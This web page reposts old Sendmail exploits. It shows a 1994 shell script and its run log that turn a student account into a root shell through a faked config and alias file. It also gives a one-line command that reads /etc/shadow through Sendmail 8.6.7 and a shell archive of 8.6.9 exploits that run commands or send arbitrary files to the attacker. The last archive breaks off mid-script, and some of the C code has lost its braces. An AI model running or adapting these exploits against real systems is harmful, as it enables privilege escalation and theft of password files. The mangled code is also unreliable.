Welcome To Security.Fx-Vista.Com

Computer Security Information

Home

Various Send Mail Holes - Part 2

<<< Back

Here it is the other script:

 

/* What follows is a sample run exercising the latest sendmail hole and the script used to exploit this hole.  This is a re-send; I neglected to escape the "." in the sendmail script, leaving the program slightly  truncated. To fix this, I have escaped the . so prior to executing this you must remove the \. (does that  make any sense? :-) There was also a small problem with nested quotes pointed out by Peter Wemm  which I have fixed.

 

This is the "small version" of the script; it assumes you have a sane sendmail.cf. In this manner, it is not  a particularly robust "breakin script" but I believe it does illustrate how to exploit the bug.

 

This program uses "calc.c," the program mentioned by Timothy Newsham in an earlier message. The  program has been modified slightly so that it gives better results (it would occasionally fail to locate the  offset of a config given a buggy sendmail.

 

The fix is to force a sync() after it generates a coredump.) The  remainder of the program was written by myself and a fellow student, Steven Dake.

 

We have held off on releasing this script until we were able to notify the people responsible for system  security at NAU. Locals subscribing to this digest beware; sendmail on our machines has been patched! :- ) */

 

Script started on Thu Mar 24 00:54:54 1994

 

[pine] [1] date

 

Thu Mar 24 00:54:57 MST 1994

 

[pine] [2] whoami

 

jwa

 

[pine] [3] id

 

uid=4473(jwa) gid=400(student)

 

[pine] [4] ls -l sendbug.sh

 

-rwx------ 1 jwa student 4893 Mar 24 00:46 sendbug.sh*

 

[pine] [5] sendbug.sh

 

Creating setid0 ...

 

Creating calc...

 

Scanning core image for /nau/local/lib/mail/sendmail.cf...

 

Creating alias.sh ...

 

Creating fake alias file...

 

Faking alias pointer in new config file...

 

Creating the sendmail script...

 

Executing /usr/lib/sendmail -

 

d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,429493

5553.115,429

 

4935554.109,4294935555.46,4294935556.9

 

Version 8.6.4

 

220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994

 

00:55:21 -0700

 

220 ESMTP spoken here

 

250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you

 

250 ... Sender ok

 

250 ... Recipient ok

 

354 Enter mail, end with "." on a line by itself

 

250 AAA01803 Message accepted for delivery

 

503 Need MAIL before RCPT

 

503 Need MAIL command

 

500 Command unrecognized

 

500 Command unrecognized

 

221 pine.cse.nau.edu closing connection

 

setid0 is a suid shell. executing...

 

executing /bin/csh...

 

pine# whoami

 

root

 

pine# id

 

uid=0(root) gid=0(root)

 

pine# exit

 

pine# end of script.

 

. and here's the program.

 

#!/bin/sh

 

# exploit new sendmail bug to give us a root shell

 

# 24 mar 94 jwa/scd @nau.edu

 

# "short version"

 

# tested on sunos 5.2/sendmail 8.6.4

 

# location of sendmail

 

SENDMAIL=/usr/lib/sendmail

 

# location of original sendmail.cf file

 

CONFIG=/nau/local/lib/mail/sendmail.cf

 

#CONFIG=`strings $SENDMAIL | grep sendmail.cf`

 

# program to execute as root

 

SHELL=/bin/csh

 

TEMPDIR=/tmp/sendbug-tmp.$$

 

mkdir $TEMPDIR

 

chmod 700 $TEMPDIR

 

cd $TEMPDIR

 

cp $SENDMAIL sm

 

chmod 700 sm

 

echo "Creating setid0 ..."

 

cat > setid.c << _EOF_

 

/* set uid to zero, thus escaping the annoying csh and solaris sh

 

* problem..

 

*

 

* if (getuid() != geteuid()) {

 

* printf("permission denied, you root-hacker you.\n");

 

* exit(1);

 

* }

 

*

 

* .. must be run euid 0, obviously. with no args it runs /bin/sh,

 

* otherwise it runs the 1st arg.

 

*/

 

#include <stdio.h>

 

main(argc, argv)

 

int argc;

 

char *argv[];

 

int uid;

 

setuid(0);

 

setgid(0);

 

seteuid(0); /* probabally redundant. */

 

setegid(0);

 

uid = getuid();

 

if (uid != 0) {

 

printf("setuid(0); failed! aborting..\n");

 

exit(1);

 

}

 

if (argc !=2) {

 

printf("executing /bin/sh...\n");

 

system("/bin/sh");

 

}

 

else

 

{

 

printf("executing %s...\n", argv[1]);

 

system(argv[1]);

 

}

 

_EOF_

 

cc -o setid0 setid.c

 

echo "Creating calc..."

 

cat > calc.c << _EOF_

 

/*

 

* Determines offset in sendmail of

 

* sendmail.cf file location.

 

* author: timothy newsham

 

*/

 

#include <fcntl.h>

 

gencore()

 

int pid;

 

int fd[2];

 

if(pipe(fd) < 0) {

 

perror("pipe");

 

exit(1);

 

return(0);

 

}

 

pid = fork();

 

if(!pid) {

 

int f = open("./out", O_RDWR|O_CREAT, 0666);

 

dup2(f, 1); dup2(fd[0], 0);

 

close(f); close(fd[1]); close(fd[0]);

 

execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);

 

perror("exec");

 

exit(0);

 

} else {

 

sleep(2);

 

kill(pid, 11);

 

}

 

close(fd[0]);

 

close(fd[1]);

 

main(argc,argv)

 

char **argv;

 

int argc;

 

unsigned int ConfFile,tTdvect,off;

 

gencore();

 

sync(); /* grr. */

 

tTdvect = find("ZZZZZZZZ", "core");

 

ConfFile = find(argv[1], "core");

 

if(!tTdvect || !ConfFile) {

 

return(1);

 

}

 

off = ConfFile - tTdvect;

 

printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",

off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \

 

off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);

 

int find(pattern, file)

 

char *pattern,*file;

 

int fd;

 

int i, addr;

 

char c;

 

fd = open(file, 0);

 

i = 0;

 

addr = 0;

 

while(read(fd, &c, 1) == 1) {

 

if(pattern[i] == c)

 

i++;

 

else

 

i=0;

 

if(pattern[i] == '\0') {

 

addr -= strlen(pattern);

 

return(addr);

 

}

 

addr++;

 

}

 

return(0);

 

_EOF_

 

cc calc.c -o calc

 

echo "Scanning core image for $CONFIG..."

 

DEBUGFLAGS=`calc $CONFIG`

 

echo "Creating alias.sh ..."

 

echo "#!/bin/sh

 

# this program will be executed when mail is sent to the fake alias.

 

# since solaris sh and csh and tcsh refuse to run when euid != realuid,

 

# we instead run the program we compiled above.

 

/bin/chmod 6777 $TEMPDIR/setid0

 

/bin/chown root $TEMPDIR/setid0

 

/bin/sync

 

" > alias.sh

 

chmod 755 alias.sh

 

echo "Creating fake alias file..."

 

echo "yash: |$TEMPDIR/alias.sh" > aliases

 

echo "Faking alias pointer in new config file..."

 

egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf

 

echo "

 

# hacks follow

 

OA/$TEMPDIR/aliases # our fake alias file

 

Ou0 # user ID to run as

 

Og0 # group ID to run as

 

DZWHOOP-v1.0" >> /tmp/sm.cf

 

echo "Creating the sendmail script..."

 

cat > sendmail.script << _EOF_

 

helo

 

mail from: <nobody>

 

rcpt to: <yash>

 

data

 

yet another sendmail hole? suid whoop?

 

\. # oops.. delete \ prior to execution

 

quit

 

_EOF_

 

echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."

 

$SENDMAIL $DEBUGFLAGS -bs < sendmail.script

 

# give it time to execute.

 

sleep 4

 

# cleanup in 5 seconds

 

(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &

 

if [ -u setid0 ]

 

then

 

echo "setid0 is a suid shell. executing..."

 

cd /

 

$TEMPDIR/setid0 /bin/csh

 

echo "end of script."

 

exit 0

 

else

 

echo "setid0 is not suid; script failed."

 

echo "apparently, you don't have the bug. celebrate :-)"

 

exit 1

 

fi

 

--------------------------------- CuT HeRe --------------------------------

 

-oE/filename bounce = 8.6.7 =

 

Version affected: 8.6.7

 

A bug in Sendmail 8.6.7 allows anyone to read any file, including the

shadowed password file:

 

/usr/lib/sendmail -oE/etc/shadow bounce

From: your_username

 

8.6.9 = 8.6.9 or earlier =

 

Mail any file to yourself.

 

------8<-------------------Cut Here--------------------8<-------------------

 

# This is a shell archive. Save it in a file, remove anything before

 

# this line, and then unpack it by entering "sh file". Note, it may

 

# create directories; files and directories will be owned by you and

 

# have default permissions.

 

#

 

# This archive contains:

 

#

 

# description

 

# sm869.local

 

# sm869.remote

 

#

 

echo x - description

 

sed 's/^X//' >description << 'END-of-description'

 

X

 

XProgram: sm869.remote

 

X

 

Xyou can:

 

X

 

X run the body of the mail through a shell if

 

X sendmail is allowed to run a shell.

 

X

 

X write the whole message to a file.

 

X

 

X have it send back a file to an account you specify.

 

X

 

XThe last option is supposed to remove the file after sending

 

Xit but I found that it hasn't in my tests. Why? Well

 

Xit has multiple recipients, one of the recipients is a

 

Xrecipient that will never go through. So the data file

 

Xgets kept around until it gives up on that host. This

 

Xcan be several days.

 

X

 

XProblems:

 

X

 

X The action you specify will happen every 30minutes (the

 

X queue time, may be different) until it gives up sending

 

X to the unreachable host. (Actually this may be false.

 

X I haven't left it around long enough to see if this happens.

 

X Perhaps sendmail is smart enough to remove the other recipients

 

X that did get delievered from the queue file).

 

X

 

X If you send a file back to yourself it may get removed

 

X several days later. If you get the password file or

 

X some other critical file you had better be ready to clean

 

X up.

 

X

 

X Lots of logs. Its fairly obvious from the log files that

 

X some hokey pokey is going on. If you're sending a file

 

X back to yourself then you're pointing a finger at one

 

X of your accounts

 

X

 

XYou have to go into the program to change the options you

 

Xwant. The code is fairly well commented so this shouldn't

 

Xbe any problem.

 

X

 

XProgram: sm869.local

 

X

 

XSame thing as above really except it works even if sendmail

 

Xdoesnt check identd and you dont have to specify an unreachable

 

Xhost. The file goes straight to the queue.

 

X

 

END-of-description

 

echo x - sm869.local

 

sed 's/^X//' >sm869.local << 'END-of-sm869.local'

 

X#!/bin/sh

 

X#

 

X# Exploit hole in sendmail 8.6.9 and earlier.

 

X#

 

X

 

X# Either write a file or run a program.

 

X#ACTION="|/tmp/runme"

 

XACTION="/tmp/writeme"

 

X

 

X# Data file to read from and then remove

 

XDATAFILE="/tmp/abc"

 

X#DATAFILE=""

 

X

 

X# Who to run as

 

XRUNAS="bin"

 

X

 

X# Who to send mail to

 

XWHOAMI=`whoami`

 

XSENDTO=$WHOAMI

 

X#SENDTO="someone-else"

 

X

 

X# Build up arg and send it off

 

Xif [ -n "$DATAFILE" ] ; then

 

XARG="$WHOAMI

 

XD$DATAFILE

 

XC:$RUNAS

 

XR\"$ACTION\""

 

Xelse

 

XARG="$WHOAMI

 

XC:$RUNAS

 

XR\"$ACTION\""

 

Xfi

 

Xsendmail -odq -F"$ARG" $SENDTO << _END_

 

XThis is appearing in the mailbox

 

Xand also being piped to the program or

 

Xwritten to the file, UNLESS you specify

 

Xa datafile above. In that case the datafile

 

Xwill be written and erased and this text will

 

Xbe left (not deleted) in the queue directory.

 

X_END_

 

X

 

END-of-sm869.local

 

echo x - sm869.remote

 

sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'

 

X#!/bin/sh

 

X#

 

X# exploit for sm869 or worse

 

X# identd must not be enabled (port 113 must be free)

 

X

 

X# this must be a host that mail can go to (MX not pointing elsewhere)

 

X# that we cant reach right now (ie. host doesnt exist anymore)

 

XUNREACHABLE="goofy.uhcc.hawaii.edu"

 

X

 

X# Commands to run on remote host

 

XCOMMANDS="touch /tmp/gotcha"

 

X

 

X# what host to run it on

 

XTARGET="localhost"

 

X

 

X# work in a temp dir

 

XTD=/tmp/.Xwork.$$